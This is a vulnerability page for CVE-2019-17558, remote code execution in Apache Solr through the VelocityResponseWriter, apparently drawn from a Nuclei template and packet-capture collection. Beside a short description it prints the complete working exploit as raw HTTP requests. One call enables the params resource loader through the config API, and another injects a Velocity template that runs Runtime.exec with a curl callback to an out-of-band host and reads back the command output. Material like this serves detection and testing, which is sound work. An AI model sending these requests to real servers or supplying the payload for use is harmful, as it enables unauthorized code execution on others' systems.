CVE-2019-17558: Apache Solr <=8.3.1 - Remote Code Execution

🔍 Vulnerability Description

Apache Solr versions 5.0.0 to 8.3.1 are vulnerable to remote code execution vulnerabilities through the VelocityResponseWriter. A Velocity template can be provided through Velocity templates in a configset velocity/ directory or as a parameter. A user defined configset could contain renderable, potentially malicious, templates. Parameter provided templates are disabled by default, but can be enabled by setting params.resource.loader.enabled by defining a response writer with that setting set to true. Defining a response writer requires configuration API access. Solr 8.4 removed the params resource loader entirely, and only enables the configset-provided template rendering when the configset is trusted (has been uploaded by an authenticated user).

🌐 HTTP Request

GET /solr/admin/cores?wt=json HTTP/1.1
Host: www.victim.com
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/18.1 Mobile/15E148 Safari/604.1
Connection: close
Accept-Encoding: gzip

POST /solr/bYpDR3/config HTTP/1.1
Host: www.victim.com
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/17.11 Safari/605.1.15
Connection: close
Content-Length: 275
Content-Type: application/json
Accept-Encoding: gzip

{

    "update-queryresponsewriter": {

      "startup": "lazy",

      "name": "velocity",

      "class": "solr.VelocityResponseWriter",

      "template.base.dir": "",

      "solr.resource.loader.enabled": "true",

      "params.resource.loader.enabled": "true"

    }

}

GET /solr/bYpDR3/select?q=1&&wt=velocity&v.template=custom&v.template.custom=%23set($x=%27%27)+%23set($rt=$x.class.forName(%27java.lang.Runtime%27))+%23set($chr=$x.class.forName(%27java.lang.Character%27))+%23set($str=$x.class.forName(%27java.lang.String%27))+%23set($ex=$rt.getRuntime().exec(%27curl%20d5jpda1le0o30s34na30ztkqn87orcap6.oast.live%27))+$ex.waitFor()+%23set($out=$ex.getInputStream())+%23foreach($i+in+[1..$out.available()])$str.valueOf($chr.toChars($out.read()))%23end HTTP/1.1
Host: www.victim.com
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:95.0) Gecko/20100101 Firefox/95.0
Connection: close
Accept-Encoding: gzip

🔗 Nuclei Template: https://github.com/packetinside/nuclei-templates/blob/main/http/cves/2019/CVE-2019-17558.yaml

🦈 Packet Capture: ⬇️ Download cve-2019-17558.pcap